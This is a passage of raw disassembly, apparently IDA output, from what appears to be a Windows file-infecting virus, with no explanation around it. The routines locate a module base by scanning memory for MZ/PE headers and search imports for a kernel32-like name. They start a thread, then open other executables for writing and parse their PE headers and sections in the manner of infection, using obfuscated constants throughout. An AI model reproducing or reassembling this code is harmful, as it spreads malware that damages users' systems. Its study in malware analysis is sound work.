add edi, 0FFF9h
cmp eax, edi
jnz short loc_44075E
push offset byte_44A88D
call sub_43C507
push eax
push [ebp+arg_0]
call ds:dword_444020
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call ds:dword_444020
push offset dword_44A888
call sub_43C507
push eax
push [ebp+arg_0]
call ds:dword_444020
add esp, 20h
loc_44075E: ; CODE XREF: sub_440511+210j
inc [ebp+var_1008]
loc_440764: ; CODE XREF: sub_440511+174j
push [ebp+var_1004]
call sub_43CCC9
pop ecx
mov [ebp+var_100C], eax
mov ecx, dword_44A1A8
cmp eax, ecx
jnb short loc_4407DC
movsx eax, word_44A150
sub eax, 7
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_4384B5
add esp, 0Ch
movsx edi, word_44A208
mov edx, dword_44A13C
lea edi, [edi+edx+0FFF7h]
cmp eax, edi
jnz short loc_4407DC
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_444020
push offset byte_44A883
call sub_43C507
push eax
push [ebp+arg_0]
call ds:dword_444020
add esp, 14h
loc_4407DC: ; CODE XREF: sub_440511+26Dj
; sub_440511+2A2j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_4407E6: ; CODE XREF: sub_440511+2DAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4407E6
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_44A26C
add edx, dword_44A090
sub edx, 0Ch
cmp eax, edx
jnz loc_440632
push offset word_44A87E
call sub_43C507
push eax
push [ebp+arg_0]
call ds:dword_444020
add esp, 0Ch
mov eax, [ebp+var_1008]
mov dword_44A350, eax
loc_440839: ; CODE XREF: sub_440511+99j
; sub_440511+CDj
pop edi
pop esi
pop ebx
leave
retn
sub_440511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44083E proc near ; CODE XREF: start+1p
var_138 = dword ptr -138h
var_133 = byte ptr -133h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_127 = byte ptr -127h
var_124 = byte ptr -124h
var_122 = byte ptr -122h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
lea eax, sub_43EC0A
mov [ebp+var_10], eax
mov edx, eax
movsx ecx, word_44A160
add ecx, 0Fh
mov eax, edx
shr eax, cl
movsx edx, word_44A124
add edx, 0Ah
mov ecx, edx
mov ebx, eax
shl ebx, cl
loc_440873: ; CODE XREF: sub_44083E+4Dj
; sub_44083E+7Dj ...
mov [ebp+var_18], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_44088D
mov eax, dword_44A188
add eax, 10000h
sub ebx, eax
jmp short loc_440873
; ---------------------------------------------------------------------------
loc_44088D: ; CODE XREF: sub_44083E+3Fj
mov eax, dword_44A15C
add eax, 2Dh
add eax, dword_44A288
mov esi, ebx
add esi, eax
mov eax, ebx
add eax, [esi]
mov [ebp+var_14], eax
mov ecx, [ebp+var_10]
cmp eax, ecx
jbe short loc_4408BD
movsx eax, word_44A0E8
add eax, 0FFFFh
sub ebx, eax
jmp short loc_440873
; ---------------------------------------------------------------------------
loc_4408BD: ; CODE XREF: sub_44083E+6Dj
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_4408DD
movsx eax, word_44A218
add eax, 0FFFBh
sub ebx, eax
jmp short loc_440873
; ---------------------------------------------------------------------------
loc_4408DD: ; CODE XREF: sub_44083E+8Dj
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_C], eax
movsx eax, word_44A174
sub eax, 7
mov [ebp+var_4], eax
jmp loc_440A7A
; ---------------------------------------------------------------------------
loc_4408FB: ; CODE XREF: sub_44083E+248j
mov eax, ebx
add eax, [ebp+var_C]
add eax, [ebp+var_4]
mov [ebp+var_12C], eax
mov edx, dword_44A12C
movsx ecx, word_44A180
add edx, ecx
sub edx, 0Ch
cmp [eax], edx
jz loc_440A8C
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+0Ch]
mov [ebp+var_130], edx
push edx
lea eax, [ebp+var_127]
push eax
call sub_442F8C
mov eax, dword_44A1AC
add eax, dword_44A164
sub eax, 9
mov [ebp+var_28], eax
jmp short loc_440976
; ---------------------------------------------------------------------------
loc_440954: ; CODE XREF: sub_44083E+157j
mov eax, [ebp+var_28]
mov al, [ebp+eax+var_127]
cmp al, 61h
jle short loc_440973
cmp al, 7Ah
jge short loc_440973
mov eax, [ebp+var_28]
lea eax, [ebp+eax+var_127]
sub byte ptr [eax], 20h
loc_440973: ; CODE XREF: sub_44083E+122j
; sub_44083E+126j
inc [ebp+var_28]
loc_440976: ; CODE XREF: sub_44083E+114j
mov eax, [ebp+var_28]
movsx eax, [ebp+eax+var_127]
mov edx, dword_44A164
movsx ecx, word_44A1B4
add edx, ecx
sub edx, 8
cmp eax, edx
jnz short loc_440954
mov eax, dword_44A120
movsx edx, word_44A0CC
add eax, edx
cmp [ebp+eax+var_133], 4Bh
jnz loc_440A76
mov eax, dword_44A09C
cmp byte ptr [ebp+eax+var_12C+1], 45h
jnz loc_440A76
mov eax, dword_44A0EC
cmp byte ptr [ebp+eax+var_12C+3], 52h
jnz loc_440A76
mov eax, dword_44A138
cmp [ebp+eax+var_122], 4Ch
jnz loc_440A76
mov eax, dword_44A1F8
cmp [ebp+eax+var_124], 33h
jnz short loc_440A76
mov eax, dword_44A210
add eax, 4
add eax, dword_44A1A8
cmp [ebp+eax+var_127], 32h
jnz short loc_440A76
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+10h]
mov [ebp+var_138], edx
mov eax, dword_44A204
dec eax
mov [ebp-134h], eax
loc_440A30: ; CODE XREF: sub_44083E+234j
mov eax, [ebp+var_138]
mov esi, eax
add esi, [ebp-134h]
mov edi, [esi]
mov eax, dword_44A198
sub eax, 2
cmp edi, eax
jz short loc_440A8C
push edi
call sub_43A5C3
pop ecx
cmp dword_44A294, 0
jnz short loc_440A8C
movsx eax, word_44A130
add eax, dword_44A110
sub eax, 4
add [ebp-134h], eax
jmp short loc_440A30
; ---------------------------------------------------------------------------
jmp short loc_440A8C
; ---------------------------------------------------------------------------
loc_440A76: ; CODE XREF: sub_44083E+16Fj
; sub_44083E+182j ...
add [ebp+var_4], 14h
loc_440A7A: ; CODE XREF: sub_44083E+B8j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_4], eax
jb loc_4408FB
loc_440A8C: ; CODE XREF: sub_44083E+DFj
; sub_44083E+20Cj ...
cmp dword_44A294, 0
jz short loc_440AED
call sub_43A105
call sub_43EF62
call sub_4396F6
mov edx, eax
mov [ebp+var_19], dl
movzx eax, [ebp+var_19]
mov edx, dword_44A140
add edx, dword_44A204
sub edx, 8
cmp eax, edx
jz short loc_440AED
lea eax, [ebp+var_24]
push eax
mov eax, dword_44A1BC
add eax, dword_44A0AC
sub eax, 0Ah
push eax
lea eax, [ebp+var_20]
push eax
push offset sub_43EC0A
mov eax, dword_44A110
sub eax, 5
push eax
push 0
call ds:dword_449B90 ; CreateThread
loc_440AED: ; CODE XREF: sub_44083E+255j
; sub_44083E+280j
pop edi
pop esi
pop ebx
leave
retn
sub_44083E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440AF2 proc near ; CODE XREF: sub_43D058+CDp
; sub_43D058+122p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_440B08: ; CODE XREF: sub_440AF2+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440B08
mov [ebp+var_4], eax
mov edi, dword_44A1D4
sub edi, 2
jmp short loc_440B8D
; ---------------------------------------------------------------------------
loc_440B1D: ; CODE XREF: sub_440AF2+9Ej
movzx eax, [ebp+arg_8]
cmp edi, eax
jb short loc_440B30
mov al, [esi+edi]
cmp al, 2Fh
jz short loc_440B30
cmp al, 2Eh
jnz short loc_440B4F
loc_440B30: ; CODE XREF: sub_440AF2+31j
; sub_440AF2+38j
push offset dword_44A878
call sub_43C507
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_449634
add esp, 10h
jmp short loc_440B7E
; ---------------------------------------------------------------------------
loc_440B4F: ; CODE XREF: sub_440AF2+3Cj
push offset byte_44A873
call sub_43C507
push eax
push ebx
call ds:dword_444020
push offset byte_44A86B
call sub_43C507
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_449634
add esp, 1Ch
loc_440B7E: ; CODE XREF: sub_440AF2+5Bj
lea eax, [ebp+var_7]
push eax
push ebx
call ds:dword_444020
add esp, 8
inc edi
loc_440B8D: ; CODE XREF: sub_440AF2+29j
cmp edi, [ebp+var_4]
jb short loc_440B1D
pop edi
pop esi
pop ebx
leave
retn
sub_440AF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440B97 proc near ; CODE XREF: sub_439B7B+188p
var_170 = byte ptr -170h
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 170h
push ebx
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_446600 ; GetSystemDirectoryA
lea eax, [ebp+var_168]
push eax
call sub_43F85A
push offset word_44A866
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_444020
push offset word_44A85E
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
add esp, 24h
push 0
mov eax, dword_44A0F0
add eax, dword_44A158
sub eax, 0Ah
push eax
push 3
push 0
mov eax, dword_44A1E8
add eax, dword_44A0D4
sub eax, 7
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_449788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_440C5E
mov eax, dword_44A268
sub eax, 4
mov edx, [ebp+arg_0]
mov ecx, dword_44A288
sub ecx, 6
mov [edx+eax], cl
jmp short loc_440CCB
; ---------------------------------------------------------------------------
loc_440C5E: ; CODE XREF: sub_440B97+ACj
push 0
push 0
push [ebp+arg_4]
push edi
call ds:dword_449B9C ; SetFilePointer
push 0
lea eax, [ebp+var_170]
push eax
mov eax, dword_44A194
add eax, 0Bh
push eax
push [ebp+arg_0]
push edi
call ds:dword_444028 ; ReadFile
mov [ebp+var_16C], eax
push edi
call ds:dword_448654 ; CloseHandle
mov eax, dword_44A0F8
add eax, dword_44A234
sub eax, 0Bh
cmp [ebp+var_16C], eax
jnz short loc_440CCB
mov eax, dword_44A1A8
sub eax, 2
mov edx, [ebp+arg_0]
mov ecx, dword_44A09C
movsx ebx, word_44A0BC
add ecx, ebx
sub ecx, 0Eh
mov [edx+eax], cl
loc_440CCB: ; CODE XREF: sub_440B97+C5j
; sub_440B97+112j
pop edi
pop esi
pop ebx
leave
retn
sub_440B97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440CD0 proc near ; DATA XREF: .data:off_44A354o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_44BAC8
push esi
call ds:dword_449648
or eax, eax
jz short loc_440CFC
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_440D44
; ---------------------------------------------------------------------------
loc_440CFC: ; CODE XREF: sub_440CD0+1Aj
push offset dword_44BA48
push esi
call ds:dword_449648
or eax, eax
jz short loc_440D1C
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_440D44
; ---------------------------------------------------------------------------
loc_440D1C: ; CODE XREF: sub_440CD0+3Aj
push offset dword_44BA28
push esi
call ds:dword_449648
or eax, eax
jz short loc_440D3C
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_440D44
; ---------------------------------------------------------------------------
loc_440D3C: ; CODE XREF: sub_440CD0+5Aj
and dword ptr [edi], 0
mov eax, 80004002h
loc_440D44: ; CODE XREF: sub_440CD0+2Aj
; sub_440CD0+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_440CD0 endp
; =============== S U B R O U T I N E =======================================
sub_440D4B proc near ; CODE XREF: sub_43EC0A+20p
push edi
push offset byte_44A853
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2AC, eax
test eax, eax
jnz short loc_440D7E
push offset dword_44A848
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2AC, eax
loc_440D7E: ; CODE XREF: sub_440D4B+1Aj
cmp dword_44A2AC, 0
jz short loc_440DA4
push offset word_44A832
call sub_43C507
pop ecx
push eax
push dword_44A2AC
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446604, eax
loc_440DA4: ; CODE XREF: sub_440D4B+3Aj
pop edi
retn
sub_440D4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440DA6 proc near ; CODE XREF: sub_43AF47+11Bp
; DATA XREF: sub_439B7B+CCo
var_270 = byte ptr -270h
var_26C = dword ptr -26Ch
var_267 = byte ptr -267h
var_203 = byte ptr -203h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 270h
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_446600 ; GetSystemDirectoryA
lea eax, [ebp+var_267]
push eax
call sub_43F85A
push offset byte_44A82D
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
lea eax, [ebp+var_267]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_444020
push offset byte_44A825
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
add esp, 24h
push 0
mov eax, dword_44A154
add eax, dword_44A1F8
sub eax, 0Ah
push eax
push 3
push 0
mov eax, dword_44A1E8
dec eax
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_449788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_440E52
mov eax, 2Ah
jmp short loc_440EBD
; ---------------------------------------------------------------------------
loc_440E52: ; CODE XREF: sub_440DA6+A3j
push 0
lea eax, [ebp+var_270]
push eax
push 0FFh
lea eax, [ebp+var_203]
push eax
push edi
call ds:dword_444028 ; ReadFile
mov [ebp+var_26C], eax
push edi
call ds:dword_448654 ; CloseHandle
mov eax, dword_44A1A0
sub eax, 3
cmp [ebp+var_26C], eax
jnz short loc_440E92
mov eax, 2Ah
jmp short loc_440EBD
; ---------------------------------------------------------------------------
loc_440E92: ; CODE XREF: sub_440DA6+E3j
movzx eax, [ebp+var_203]
movsx edx, word_44A098
movsx ecx, word_44A174
lea edx, [edx+ecx+18h]
cmp eax, edx
jge short loc_440EB6
mov eax, 2Ah
jmp short loc_440EBD
; ---------------------------------------------------------------------------
loc_440EB6: ; CODE XREF: sub_440DA6+107j
movzx eax, [ebp+var_203]
loc_440EBD: ; CODE XREF: sub_440DA6+AAj
; sub_440DA6+EAj ...
pop edi
pop esi
leave
retn
sub_440DA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440EC1 proc near ; DATA XREF: .data:0044A37Co
push ebp
mov ebp, esp
mov eax, dword_44A0F4
sub eax, 7
cmp ds:dword_449BA8, eax
jbe short loc_440EDF
push offset dword_449BA8
call ds:dword_444010 ; InterlockedDecrement
loc_440EDF: ; CODE XREF: sub_440EC1+11j
mov eax, ds:dword_449BA8
pop ebp
retn 4
sub_440EC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440EE8 proc near ; DATA XREF: .data:0044A38Co
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_4]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_44A24C
mov edx, dword_44A0B4
lea eax, [eax+edx+0E9h]
cmp edi, eax
jnz short loc_440F1B
push [ebp+arg_14]
call sub_43858C
pop ecx
xor eax, eax
jmp short loc_440F41
; ---------------------------------------------------------------------------
loc_440F1B: ; CODE XREF: sub_440EE8+24j
mov eax, dword_44A0B4
add eax, 0F5h
add eax, dword_44A14C
cmp edi, eax
jnz short loc_440F3C
push [ebp+arg_14]
call sub_43A974
pop ecx
xor eax, eax
jmp short loc_440F41
; ---------------------------------------------------------------------------
loc_440F3C: ; CODE XREF: sub_440EE8+45j
mov eax, 80020003h
loc_440F41: ; CODE XREF: sub_440EE8+31j
; sub_440EE8+52j
pop edi
pop ebp
retn 24h
sub_440EE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440F46 proc near ; CODE XREF: sub_44029C+1D0p
var_32014 = byte ptr -32014h
var_32011 = byte ptr -32011h
var_32010 = dword ptr -32010h
var_3200C = dword ptr -3200Ch
var_32007 = byte ptr -32007h
var_32006 = byte ptr -32006h
var_31F58 = dword ptr -31F58h
var_31F54 = dword ptr -31F54h
var_31F50 = dword ptr -31F50h
var_31F4C = dword ptr -31F4Ch
var_31F48 = dword ptr -31F48h
var_31F44 = dword ptr -31F44h
var_31F40 = dword ptr -31F40h
var_31F3C = dword ptr -31F3Ch
var_31F38 = dword ptr -31F38h
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = dword ptr -31ED8h
var_31ED4 = byte ptr -31ED4h
var_31EC7 = byte ptr -31EC7h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_1180 = dword ptr -1180h
var_117C = dword ptr -117Ch
var_1178 = dword ptr -1178h
var_1174 = dword ptr -1174h
var_116F = byte ptr -116Fh
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 32010h
call sub_442F6C
push ebx
push esi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_31EC7]
push eax
call ds:dword_448638
add esp, 0Ch
push 0
mov eax, dword_44A09C
sub eax, 5
push eax
push 3
push 0
mov eax, dword_44A234
add eax, dword_44A284
sub eax, 0Dh
push eax
push 0C0000001h
push [ebp+arg_0]
call ds:dword_449788 ; CreateFileA
mov [ebp+var_1070], eax
cmp eax, 0FFFFFFFFh
jnz short loc_440FAA
xor eax, eax
jmp loc_442439
; ---------------------------------------------------------------------------
loc_440FAA: ; CODE XREF: sub_440F46+5Bj
push 0
push [ebp+var_1070]
call ds:dword_449624 ; GetFileSize
mov [ebp+var_10], eax
mov edx, [ebp+arg_8]
lea eax, [eax+edx+1FFFFh]
push eax
push 0
call ds:dword_446A34 ; LocalAlloc
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_31EDC]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call ds:dword_444028 ; ReadFile
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31EDC]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_442422
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_442422
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
movsx edx, word_44A0CC
sub edx, 6
cmp eax, edx
jz loc_442422
and [ebp+var_1180], 0
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
mov ecx, dword_44A238
add ecx, 7
add ecx, dword_44A0D4
cmp edx, ecx
jnz short loc_4410A5
mov edx, dword_44A0C4
inc edx
mov [eax+1Ah], dl
cmp dl, 0
jz short loc_4410A5
movzx eax, word ptr [eax+46h]
mov [ebp+var_31EEC], eax
movsx eax, word_44A22C
movsx edx, word_44A0FC
add eax, edx
sub eax, 0Bh
cmp [ebp+var_31EEC], eax
jnb loc_442422
mov [ebp+var_1180], 1
loc_4410A5: ; CODE XREF: sub_440F46+11Bj
; sub_440F46+12Aj
cmp [ebp+var_1180], 0
jz short loc_4410C6
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
movsx ecx, word_44A0C0
add ecx, 2
sub edx, ecx
mov [eax], dx
loc_4410C6: ; CODE XREF: sub_440F46+166j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_430], eax
mov eax, 28h
mov [ebp+var_31EEC], eax
mov edx, [ebp+var_8]
mov [ebp+var_31EF4], edx
mov ecx, [ebp+var_840]
add ecx, 0F8h
mov [ebp+var_31EF0], eax
movzx edi, word ptr [edx+6]
mul edi
mov [ebp+var_31EF8], eax
mov edx, ecx
add edx, eax
mov [ebp+var_31F00], edx
mov eax, [ebp+var_31EEC]
mov [ebp+var_31EFC], eax
mov ecx, dword_44A0B8
movsx edi, word_44A240
add ecx, edi
dec ecx
mul ecx
mov [ebp+var_31F04], eax
mov eax, [ebp+var_31F00]
mov edx, [ebp+var_31F04]
add eax, edx
mov edx, [ebp+var_31EF4]
add eax, [edx+0D4h]
cmp eax, [edx+54h]
ja loc_442422
mov eax, dword_44A128
movsx edx, word_44A1E0
add eax, edx
sub eax, 0Ch
mov [ebp+var_20], eax
movsx eax, word_44A260
add eax, dword_44A1B0
sub eax, 9
mov [ebp+var_C54], eax
mov eax, dword_44A238
mov [ebp+var_105C], eax
mov eax, dword_44A1D8
movsx edx, word_44A208
add eax, edx
sub eax, 0Eh
mov [ebp+var_434], eax
jmp loc_44126B
; ---------------------------------------------------------------------------
loc_4411A9: ; CODE XREF: sub_440F46+332j
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F10], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F10]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F08], eax
mov eax, [esi+14h]
add eax, [esi+10h]
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_20]
cmp [ebp+var_31F08], eax
jbe short loc_441200
mov eax, [ebp+var_31F08]
mov [ebp+var_20], eax
loc_441200: ; CODE XREF: sub_440F46+2AFj
mov eax, [ebp+var_C54]
cmp [ebp+var_31F0C], eax
jbe short loc_44121A
mov eax, [ebp+var_31F0C]
mov [ebp+var_C54], eax
loc_44121A: ; CODE XREF: sub_440F46+2C6j
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [esi+0Ch]
jb short loc_441245
cmp eax, [ebp+var_31F08]
jnb short loc_441245
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_441245: ; CODE XREF: sub_440F46+2E0j
; sub_440F46+2E8j
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_441265
add edx, [esi+8]
cmp eax, edx
jnb short loc_441265
sub eax, [esi+0Ch]
add eax, [esi+14h]
mov [ebp+var_844], eax
loc_441265: ; CODE XREF: sub_440F46+30Aj
; sub_440F46+311j
inc [ebp+var_434]
loc_44126B: ; CODE XREF: sub_440F46+25Ej
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_4411A9
mov eax, dword_44A18C
add eax, 1000h
push eax
push [ebp+var_20]
call sub_43CC87
add esp, 8
mov [ebp+var_20], eax
cmp [ebp+var_1180], 0
jz short loc_4412A9
mov eax, [ebp+var_C54]
mov [ebp+var_10], eax
loc_4412A9: ; CODE XREF: sub_440F46+358j
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jz short loc_4412CC
mov eax, [ebp+var_8]
mov edx, dword_44A0C4
sub edx, 7
cmp [eax+0A8h], edx
jz loc_442422
loc_4412CC: ; CODE XREF: sub_440F46+36Cj
mov eax, dword_44A0F8
sub eax, 7
cmp [ebp+var_105C], eax
jz loc_4413AB
mov eax, dword_44A280
add eax, dword_44A14C
sub eax, 0Ah
mov [ebp+var_31F10], eax
mov eax, dword_44A194
sub eax, 9
mov [ebp+var_31F08], eax
jmp short loc_441352
; ---------------------------------------------------------------------------
loc_441304: ; CODE XREF: sub_440F46+432j
mov eax, [ebp+var_105C]
mov [ebp+var_31F14], eax
mov eax, 1Ch
mul [ebp+var_31F08]
mov [ebp+var_31F18], eax
mov eax, [ebp+var_31F14]
mov edx, [ebp+var_31F18]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F0C], eax
mov edx, [ebp+var_31F10]
cmp [eax+18h], edx
jbe short loc_44134C
mov eax, [eax+18h]
mov [ebp+var_31F10], eax
loc_44134C: ; CODE XREF: sub_440F46+3FBj
inc [ebp+var_31F08]
loc_441352: ; CODE XREF: sub_440F46+3BCj
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F14], edx
mov edi, edx
cmp [ebp+var_31F08], edi
jb short loc_441304
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F10]
call sub_43CC87
add esp, 8
mov [ebp+var_31F10], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_10]
jz short loc_4413AB
cmp [ebp+var_31F10], eax
jnz loc_442422
loc_4413AB: ; CODE XREF: sub_440F46+394j
; sub_440F46+457j
and [ebp+var_1174], 0
mov eax, dword_44A188
mov [ebp+var_438], eax
jmp loc_441505
; ---------------------------------------------------------------------------
loc_4413C2: ; CODE XREF: sub_440F46+5CEj
mov eax, [ebp+var_844]
add eax, [ebp+var_438]
add eax, [ebp+var_4]
mov [ebp+var_3200C], eax
mov edx, dword_44A0EC
sub edx, 4
cmp [eax], edx
jz loc_44151A
mov eax, [ebp+var_3200C]
mov eax, [eax+0Ch]
sub eax, [ebp+var_430]
add eax, [ebp+var_844]
mov [ebp+var_32010], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_32007]
push eax
call ds:dword_4461F4
add esp, 8
mov eax, dword_44A0C8
mov [ebp+var_31F08], eax
jmp short loc_44144F
; ---------------------------------------------------------------------------
loc_441424: ; CODE XREF: sub_440F46+52Cj
mov eax, [ebp+var_31F08]
mov al, [ebp+eax+var_32007]
cmp al, 61h
jle short loc_441449
cmp al, 7Ah
jge short loc_441449
mov eax, [ebp+var_31F08]
lea eax, [ebp+eax+var_32007]
sub byte ptr [eax], 20h
loc_441449: ; CODE XREF: sub_440F46+4EDj
; sub_440F46+4F1j
inc [ebp+var_31F08]
loc_44144F: ; CODE XREF: sub_440F46+4DCj
mov eax, [ebp+var_31F08]
movsx eax, [ebp+eax+var_32007]
